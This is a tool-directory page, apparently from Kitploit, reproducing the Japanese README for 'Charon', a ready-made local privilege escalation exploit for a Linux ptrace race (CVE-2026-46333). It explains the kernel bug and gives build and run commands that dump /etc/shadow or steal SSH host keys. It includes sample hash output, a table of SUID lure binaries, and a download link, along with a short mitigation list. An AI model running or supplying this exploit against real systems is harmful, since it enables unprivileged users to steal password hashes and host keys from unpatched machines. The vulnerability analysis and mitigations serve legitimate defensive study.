Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CHARON — CHARON — pre-built PoC for CVE-2026-46333 (Linux ptrace mm==NULL fd theft) | Kitploit
ツール/GitHubGitHub/karazajac/charon
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingLearning & EducationBinary Exploitation
GitHubkarazajac/charon

CHARON

CHARON — pre-built PoC for CVE-2026-46333 (Linux ptrace mm==NULL fd theft)

リポジトリを見る
723ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

/ || | | | / \ | _ \ / _ | \ | | | | | || | / _ \ | |) | | | | | | | | | _ |/ ___ | _ <| || | |\ | _||| |// __| _\/|_| _|

ferries fds across the exit-mm() Styx CVE-2026-46333 / Linux <= 6.12.89

root@kitploit:~

> *「生ける神の手に落ちるのは、恐ろしいことです。」*
> — ヘブライ人への手紙 10:31

## これは何か

**CVE-2026-46333** に対する、依存関係ゼロのコンパクトな PoC です。これは Qualys が 2026-05-15 に公開した、`__ptrace_may_access` の mm==NULL バイパスです。Charon は、終了間際の SUID-root プロセスに対して `pidfd_getfd(2)` をレースさせ、`do_exit()` 内のごく短い mm-NULL ウィンドウをすり抜けて、そのプロセスが開いている `/etc/shadow` ファイルディスクリプタを奪取します。影響を受けるマシン上で非特権ユーザーとして実行すると、`/etc/shadow` を標準出力にダンプします。

$ ./charon [banner on stderr] [] lure /usr/bin/chage target /etc/shadow root:$y$j9T$ztS5H...$hz9W87TlqxEW...:... daemon::20582:0:99999:7::: bin:*:20582:0:99999:7::: ...

root@kitploit:~

典型的な結果:4 コア VM では 1 秒未満で成功し、スモークテストでは **約 137 回**の試行が必要でした。

## 30 秒でわかるバグ

`__ptrace_may_access()` は、`task->mm == NULL` のときダンプ可能性チェックをショートサーキットします。このファストパスはカーネルスレッド(swapper など)向けに書かれたものです。カーネルスレッドは本来 mm を持たず、ptrace されるべきではありません。しかし `do_exit()` は `exit_files()` の *前に* `exit_mm()` を実行するため、ユーザー空間の SUID プロセスにはごく短い間、次の状態が生じます:

- `task->mm == NULL`(mm は回収済み)→ ダンプ可能性チェックがスキップされる
- ファイルテーブルはまだ生存 → fd はまだ取得可能
- creds は `setreuid()` 後の権限降下を反映 → アクセスチェックを通過

`pidfd_getfd(2)` はそのアクセスチェックを信頼するため、SUID プロセスが開いているファイルディスクリプタを攻撃者に引き渡してしまいます。

do_exit() ├── exit_mm() ← task->mm = NULL ├── ... ← __ptrace_may_access() now lies └── exit_files() ← fd table reaped

root@kitploit:~

Jann Horn 氏は 2020 年 10 月、lore.kernel.org でこの FD 窃取という攻撃パターンを指摘しました。この修正はメンテナーによるレビューに約 6 年間留め置かれ、Qualys がそれを再び最優先の案件として取り上げるまで放置されていました。

**アップストリーム修正:** [`31e62c2ebbfd`](https://github.com/torvalds/linux/commit/31e62c2ebbfdc3fe3dbdf5e02c92a9dc67087a3a)(Linus、2026-05-14)。2026-05-15 時点で、このバックポートは linux-6.12.y および linux-6.6.y の安定版にはまだ取り込まれていません。

## 影響を受けるカーネル

| 安定ツリー | 状態 |
|---|---|
| linux-6.12.y (≤ 6.12.89) | ❌ 脆弱 |
| linux-6.6.y (修正バックポート前) | ❌ 脆弱 |
| mainline ≥ 6.15-rc1 | ✅ 修正済み (`31e62c2ebbfd`) |

| ディストリビューション | カーネル | 状態 (2026-05-15) |
|---|---|---|
| Debian trixie | 6.12.86+deb13 | ❌ |
| AlmaLinux 10.1 | 6.12.0-124.55.3 | ❌ |
| Ubuntu 26.04 | 7.0.0-15 | ⚠️ 要確認 |
| Fedora 44 | 7.0.4-200 | ⚠️ 要確認 |

この PR / 最新ステータスの表は、バックポートが取り込まれ次第更新されます。

## ビルド

```sh
# Tiny 38 KB static binary (recommended)
sudo apt-get install musl-tools
make static

# Or just the standard glibc build
make

出力:単一の ELF バイナリ ./charon が生成されます。

実行

root@kitploit:~
./charon                     # dump /etc/shadow (default)
./charon -q                  # no banner / progress, just shadow on stdout
./charon -v                  # show per-hit + final stats
./charon -r 5000             # more patience for slow systems
./charon -t /etc/ssh/ssh_host_ecdsa_key   # different target (uses ssh-keysign bait)
./charon -a                  # auto-discover SUID/SGID baits if built-ins miss
./charon -L                  # list candidate baits without trying any
./charon --help

自動検出

--auto は /usr/bin、/usr/sbin、/usr/local/{bin,sbin}、/usr/lib/openssh、/usr/libexec、/bin、/sbin を走査し、すべての SUID/SGID 通常ファイル(su、sudo、newgrp、pkexec のような対話型ベイトは除外)を検出して、それぞれを要求されたターゲットに対するベイトとして試行します。ベイトごとの予算は厳しめ(5 ラウンド × 内側 2000 回)に設定されているため、何もマッチしない場合でもフルスキャンは約 10 秒で完了します。

--list-baits は読み取り専用版です。エクスプロイトを発火させずに同じ候補を列挙するため、どのディストリビューションがどのベイトを同梱しているかを調査するのに便利です。

終了コード

コード意味
0成功 — ファイルの内容が標準出力に出力される

ルアー

Charon には、既知の SUID ルアーが 4 つ同梱されています:

ルアーの追加は、charon.c の lures[] 配列への 3 行の編集で完了します。

ディストリビューションがバックポートを提供するまでの緩和策

  • 31e62c2ebbfd を直接適用する。
  • 本番ホストでは seccomp により pidfd_getfd(2) を無効化する。
  • 非特権ユーザーがパスワード有効期限を照会する必要がない場合は、chage と passwd から setuid ビットを削除する。
  • コンテナ化されたワークロードでは、ホスト上で no_new_privs を有効にすると、このプリミティブが完全にブロックされる — コンテナ内のすべての「SUID」が不活性になり、Charon には獲物が残らない。

kernelctf VRP の対象外

Google の kernelctf VRP チャレンジ VM は、プレイヤーの bash を nsjail サンドボックス内で実行します。このサンドボックスは clone_newuser:true(uid 0 はマッピングされない)、chroot:/chroot、no_new_privs:1 を備えています。no_new_privs の下では setuid ビットが不活性になるため、サンドボックス内に実際の SUID の獲物は存在せず、/flag も chroot の外側のホスト上にあります。したがって Charon で kCTF VRP を獲得することはできません。Charon は、ベアメタルの Debian / Ubuntu / RHEL 系インストールに対する正当な Linux LPE であり続けます。

来歴

  • バグの発見・公開:Qualys → oss-security 2026-05-15。
  • 参考 PoC:@0xdeadbeefnetwork。
  • Charon は、ルアーとレースのループを単一の堅牢化されたバイナリに書き直し、CLI の使いやすさ、修正済みカーネルの自動検出、ディストリビューションごとのルアーフォールバックを追加したものです。

ライセンス

教育目的および許可された防御用途に限ります。

root@kitploit:~
                        ⛵ STYX ⛵
              ╔══════════════════════════════╗
              ║  do_exit():                  ║
              ║   ├── exit_mm()   ← task->mm ║
              ║   │                = NULL    ║
              ║   ├── ...      ←  ferry      ║
              ║   └── exit_files()           ║
              ╚══════════════════════════════╝
ツールをダウンロード
1このシステム上のどの SUID ルアーでも要求されたファイルを開けない
2カーネルは修正済みと思われる(CVE-2026-46333 は解決済み)
3ヒットせずにラウンドを使い切った(稀。-r 5000 を試すこと)
4CLI / IO エラー
バイナリ開くファイル対応ディストリビューション
/usr/bin/chage (chage -l <user>)/etc/shadowほとんどの Debian、Ubuntu、Fedora
/usr/sbin/chage/etc/shadowRHEL / Rocky / Alma 系
/usr/bin/passwd (passwd -S <user>)/etc/shadowほとんどのディストリビューション
/usr/lib/openssh/ssh-keysign/etc/ssh/ssh_host_*_keyHostbasedAuthentication が有効なディストリビューション